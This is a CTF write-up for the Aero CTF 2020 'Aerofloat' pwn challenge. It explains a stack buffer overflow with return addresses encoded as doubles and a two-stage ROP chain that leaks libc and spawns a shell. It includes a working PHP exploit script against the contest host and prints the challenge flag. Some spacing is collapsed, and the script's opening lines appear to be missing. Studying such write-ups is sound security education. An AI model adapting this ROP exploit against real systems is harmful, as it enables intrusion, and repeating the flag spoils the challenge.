# Aerofloat - Aero CTF 2020 (pwn, 100p, 63 solved)## Introduction
Aerofloat is a pwn task.
An archive containing a binary, a libc and its corresponding loader (`ld.so`).
It allows a user to input a list of rating for tickets by id.
## Reverse engineering
The binary is very small. It contains a menu interface in which a user caninsert a rating for a ticket. The binary sets an alarm that kills it 5 secondsafter it is started.
When a user rates a ticket, it is added in a structure on the stack. Thisstructure looks like this :
```cstruct ticket {	char   id[8];	double rating;};```
The ratings are added on a fixed-size array on the stack. There is no canary. Itis possible to overflow this array of size 8 and overwrite the return address.
## Exploitation
The array that contains tickets is located at offset `0xC8`. The structurecontains two fields of size 8. As a result, its size is `0x10`.
It is possible to overwrite the return address by creating `0x0C` == `12`tickets. The return address will be overwritten by the next ticket's `rating`field.
There is a small caveat: `rating` is a `double`. As a result, it is necessary toencode the return address according to the IEEE 754 standard. PHP's `unpack`function can handle this with `unpack("d", $n)`.
The easiest and most reliable way to exploit this binary is to use a ROP chainthat calls `puts` or `printf` on an address stored in the `.got.plt` section toleak the libc and return to main. A second ROP chain can then be used to call`system("/bin/sh")`.
**Flag**: `Aero{8c911e90f6ff8ecb6a333ebacfccd28b36d1f9b02386cc884b343f1f02da62e6}`
## Appendices
### pwn.php
```php#!/usr/bin/phpexpectLine("1. Set rating");	$t->expectLine("2. View rating list");	$t->expectLine("3. View porfile info");	$t->expectLine("4. Exit");	$t->expect("> ");}
function add(Tube $t, $name, $rating){	menu($t);	$t->write("1\n");
	$t->expect("{?} Enter your ticket id: ");	$t->write("$name");
	$t->expect("{?} Enter your rating: ");	$t->write("$rating\n");
	return $t->readLine();}
$t = new Socket("tasks.aeroctf.com", 33017);
$t->expect("{?} Enter name: ");$t->write("[TFNS] XeR\n");
printf("[+] Overflow the stack\n");for($i = 0; $i < 12; $i++)	add($t, "$i\0", $i);
$chain = array(	0x004015bb, 0x00404018, // pop rdi (puts)	0x00401030, // puts	0x00401192, // main);
$chain = array_merge([0xCAFEBABE], $chain);if(sizeof($chain) % 2)	$chain[] = 0xdeadbeef;
for($i = 0; $i < sizeof($chain); $i += 2) {	$str   = pack("Q", $chain[$i + 0]);	$float = unpack("d", pack("Q", $chain[$i + 1]))[1];
	add($t, $str, $float);}
menu($t);$t->write("4\n");
$leak = $t->readLine();$leak = substr(str_pad($leak, 8, "\x00"), 0, 8);$libc = unpack("Q", $leak)[1] - 0x7FFFF7E82050 + 0x7ffff7e0e000;printf("[+] libc: %X\n", $libc);
$t->expect("{?} Enter name: ");$t->write("[TFNS] XeR\n");
printf("[+] Overflow the stack\n");for($i = 0; $i < 12; $i++)	add($t, "$i\0", $i);
$chain = array(	0x004015bb, $libc + 0x183cee, // pop rdi ("/bin/sh")	$libc + 0x00046ff0, // system);
$chain = array_merge([0xCAFEBABE], $chain);if(sizeof($chain) % 2)	$chain[] = 0xdeadbeef;
for($i = 0; $i < sizeof($chain); $i += 2) {	$str   = pack("Q", $chain[$i + 0]);	$float = unpack("d", pack("Q", $chain[$i + 1]))[1];
	add($t, $str, $float);}
menu($t);$t->write("4\n");
printf("[+] Pipe\n");$t->pipe();```